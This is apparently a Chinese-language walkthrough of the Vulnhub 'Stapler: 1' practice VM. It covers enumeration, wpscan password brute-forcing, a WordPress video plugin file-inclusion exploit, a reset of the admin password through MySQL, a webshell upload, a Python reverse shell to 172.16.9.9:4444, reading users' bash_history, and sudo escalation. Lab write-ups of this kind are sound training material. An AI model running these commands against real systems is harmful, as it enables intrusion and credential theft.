Stapler:1(STAPLER: 1)靶机渗透-Vulnhub
- 一、IP端口探测
- 二、端口信息收集
- 1.ftp匿名登录
- 2.OpenSSH漏洞查询
- 3.80端口
- 4.666端口
- 5.SMB枚举
- 6.12380端口
- 二、边界突破
- 1.video插件文件包含
- 2.修改wordpress数据库管理员密码
- 3.上传webshell
- 三、提权
- 总结
该靶机(Stapler.ova)直接导入Vmware无法使用,可先导入VirtualBox,再通过VirtuaBox导出,将导出的文件使用Vmware运行即可。
一、IP端口探测
查看到开放21、22、53、80、139、666、3306、12380端口
二、端口信息收集
1.ftp匿名登录
ftp 172.16.9.21
anonymous
收集到3个像是用户名:Harry,Elly,John
除此外没有发现其他相关信息,改换端口
2.OpenSSH漏洞查询
7.2p版本存在用户名枚举漏洞,换其他端口
3.80端口
页面没什么东西,查看源码。目录扫描暂未发现信息,继续换端口
4.666端口
浏览器返回乱码,试试用nc将文件存下来
nc -nv 172.16.9.21 > stapler
file stapler
unzip stapler
查看图片未发现什么有价值的信息,继续收集其他端口
5.SMB枚举
enum4linux -a 172.16.9.21
针对SMB服务的信息收集一般先通过enum4linux枚举,再通过smbclient 连接查看
发现共享目录2个,并且枚举到用户名如下:
访问共享目录
smbclient //172.16.9.21/kathy
是个wordpress的备份文件,除此外暂时未发现其他可利用信息
6.12380端口
扫目录,查看页面源码都没获得什么信息
试试nikto扫一下,发现支持SSL,还发现/admin112233,/blogblog,/phpmyadmin这3个目录
nikto -h http://172.16.9.21:12380
使用https访问/admin112233,跳转到XSS一个站点
/blogblog是个wordpress站点
/phpmyadmin是个登录后台
使用wpscan爆破用户密码
wpscan --url https://172.16.9.21:12380/blogblog --enumerate u -P /usr/share/wordlists/rockyou.txt --disable-tls-checks
使用以上3个账户依次登录wordpress,发现均是低权限账户
搜索可知,wordpress的漏洞一般来源于使用的插件,扫一下都使用了哪些插件,这里要选择主动探测方式(–plugins-detection aggressive),默认被动探测无法扫出使用插件
wpscan --url https://172.16.9.21:12380/blogblog --enumerate ap --disable-tls-checks --plugins-detection aggressive
插件的检测方式不唯一,也可以通过dirb目录扫描,发现插件目录:
dirb https://172.16.9.21:12380/blogblog -r
查询使用的插件是否存在相关漏洞,其中video插件存在文件包含漏洞
二、边界突破
1.video插件文件包含
searchsploit -m 39646
查看漏洞利用脚本,发现是通过访问URL,获取wp-config.php配置文件,并且标注了源码中漏洞代码位置(/inc/classes/class.avePost.php) Line 57:-——Line 78)
改造脚本中POC,在浏览器访问:
https://172.16.9.21:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=…/wp-config.php
并没有出现预期的wp-config.php文件…
去exploit-db上查看下源码(/inc/classes/class.avePost.php) Line 57:-——Line 78)
https://www.exploit-db.com/exploits/39646
发现是把文件以.jepg的形式,存在了content目录下的uploads文件夹下
下载该.jpeg文件
wget https://172.16.9.21:12380/blogblog/wp-content/uploads/184734200.jpeg --no-check-certificate
查看文件,发现mysql用户名密码
注:文件包含漏洞其他利用思路:读取/etc/passwd文件,然后爆破系统用户密码
2.修改wordpress数据库管理员密码
使用上一步获得的mysql用户名密码(root / plbkac)登录数据库,当然也可以尝试ssh登录服务器,万一是服务器用户名密码呢~~但 很显然这个不是…继续…
查看wordpress数据库用户如下:
查阅资料知,默认情况下,wp_usermeta数据表中 wp_user_level=10 的为管理员权限,由此确定user_id=1的为管理员用户,即john
也可通过sql语句筛选管理员用户的id:
SELECT user_id FROM
wp_usermeta
WHERE meta_key = ‘wp_user_level’ AND meta_value = 10
可知id为1,3,15的均为管理员用户,即john,Peter,Vicki
修改管理员密码,此处以john为例,将密码修改为123123
使用john/123123登录
3.上传webshell
找到可以上传文件的地方,上传木马文件
kali中seclists目录下有针对wordpress的webshell
cp /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php .
发现该webshell不是反弹shell类型,而是通过cmd参数命令执行,上传该webshell
在wp-conten/uploads目录下查看到上传的webshell
执行命令
反弹shell
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.16.9.9”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
三、提权
优化终端
python -c ‘import pty;pty.spawn(“/bin/bash”)’
查看所有用户的历史命令
cat */.bash_history
ssh登录以上2个账户(JKanode/thisimypassword ; peter/JZQuyIN5),发现peter用户有sudo组权限,sudo直接提权
sudo -s
总结
路径:12380端口扫描—wpscan爆破用户名——文件包含漏洞利用——修改管理员账户密码——上传webshell——sudo提权